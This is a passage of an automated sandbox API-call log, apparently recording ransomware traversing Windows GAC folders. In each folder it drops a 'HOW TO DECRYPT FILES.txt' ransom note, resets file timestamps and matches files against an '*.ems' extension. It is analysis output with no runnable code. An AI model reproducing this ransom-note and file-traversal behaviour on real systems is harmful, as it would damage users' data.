returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Word" [0101.224] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Word\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6cfec70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6cfec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6cfec70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.225] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.225] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6cfec70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6cfec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6cfec70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.225] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.225] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.225] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e60d530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6cd8b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6cd8b10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 1 [0101.225] lstrcmpA (lpString1=".", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0101.225] lstrcmpA (lpString1="..", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0101.225] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Word\\*.*") returned="*.*" [0101.225] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Word\\", lpString2="14.0.0.0__71e9bce111e9429c" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c" [0101.225] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e60d530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6cd8b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6cd8b10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x650031, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.227] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.227] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e60d530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6cd8b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6cd8b10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.227] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.227] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.227] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7090d6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x380, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.Interop.Word.config", cAlternateFileName="POLICY~1.CON")) returned 1 [0101.228] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.228] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.Word.config") returned -1 [0101.228] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.Word.config") returned -1 [0101.228] lstrcmpiA (lpString1="", lpString2="Policy.12.0.Microsoft.Office.Interop.Word.config") returned -1 [0101.228] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\*.*") returned="*.*" [0101.228] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\" [0101.228] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\") returned="" [0101.228] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0101.228] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.word\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0xffffffff [0101.228] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.word\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0101.231] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0101.231] CloseHandle (hObject=0x90) returned 1 [0101.231] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.12.0.Microsoft.Office.Interop.Word.config" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Word.config") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Word.config" [0101.232] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Word.config", pszSpec="*.ems") returned 0 [0101.232] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e60d530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e60d530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e60d530, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.Interop.Word.dll", cAlternateFileName="POLICY~1.DLL")) returned 1 [0101.232] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.232] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.Word.dll") returned -1 [0101.232] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.Word.dll") returned -1 [0101.232] lstrcmpiA (lpString1="", lpString2="Policy.12.0.Microsoft.Office.Interop.Word.dll") returned -1 [0101.232] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Word.config") returned="Policy.12.0.Microsoft.Office.Interop.Word.config" [0101.232] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\" [0101.232] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\") returned="" [0101.232] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0101.232] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.word\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0x20 [0101.233] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.12.0.Microsoft.Office.Interop.Word.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Word.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Word.dll" [0101.233] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Word.dll", pszSpec="*.ems") returned 0 [0101.233] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e60d530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e60d530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e60d530, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.Interop.Word.dll", cAlternateFileName="POLICY~1.DLL")) returned 0 [0101.233] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.233] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e60d530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6cd8b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6cd8b10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 0 [0101.234] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.234] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5f74f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa5f74f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5f74f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f0050, dwReserved1=0x69006c, cFileName="Policy.12.0.Microsoft.Vbe.Interop", cAlternateFileName="POLICY~2.INT")) returned 1 [0101.234] lstrcmpA (lpString1=".", lpString2="Policy.12.0.Microsoft.Vbe.Interop") returned -1 [0101.234] lstrcmpA (lpString1="..", lpString2="Policy.12.0.Microsoft.Vbe.Interop") returned -1 [0101.234] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.234] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Policy.12.0.Microsoft.Vbe.Interop" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Vbe.Interop") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Vbe.Interop" [0101.234] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Vbe.Interop\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5f74f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa5f74f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5f74f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.235] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.235] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5f74f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa5f74f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5f74f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.235] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.235] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.235] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e46a610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa5f74f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5f74f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 1 [0101.235] lstrcmpA (lpString1=".", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0101.235] lstrcmpA (lpString1="..", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0101.235] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Vbe.Interop\\*.*") returned="*.*" [0101.235] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Vbe.Interop\\", lpString2="14.0.0.0__71e9bce111e9429c" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c" [0101.235] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e46a610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa5f74f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5f74f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.239] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.240] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e46a610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa5f74f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5f74f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.240] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.240] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.240] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e46a610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e46a610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e46a610, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x370, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Vbe.Interop.config", cAlternateFileName="POLICY~1.CON")) returned 1 [0101.240] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.240] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.12.0.Microsoft.Vbe.Interop.config") returned -1 [0101.240] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.12.0.Microsoft.Vbe.Interop.config") returned -1 [0101.240] lstrcmpiA (lpString1="", lpString2="Policy.12.0.Microsoft.Vbe.Interop.config") returned -1 [0101.240] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\*.*") returned="*.*" [0101.240] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\" [0101.240] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\") returned="" [0101.240] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0101.240] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.vbe.interop\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0xffffffff [0101.240] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.vbe.interop\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0101.244] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0101.244] CloseHandle (hObject=0x90) returned 1 [0101.244] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.12.0.Microsoft.Vbe.Interop.config" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Vbe.Interop.config") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Vbe.Interop.config" [0101.244] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Vbe.Interop.config", pszSpec="*.ems") returned 0 [0101.245] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x706d2210, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706d2210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706d2210, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Vbe.Interop.dll", cAlternateFileName="POLICY~1.DLL")) returned 1 [0101.245] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.245] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.12.0.Microsoft.Vbe.Interop.dll") returned -1 [0101.245] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.12.0.Microsoft.Vbe.Interop.dll") returned -1 [0101.245] lstrcmpiA (lpString1="", lpString2="Policy.12.0.Microsoft.Vbe.Interop.dll") returned -1 [0101.245] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Vbe.Interop.config") returned="Policy.12.0.Microsoft.Vbe.Interop.config" [0101.245] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\" [0101.245] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\") returned="" [0101.245] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0101.245] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\HOW TO 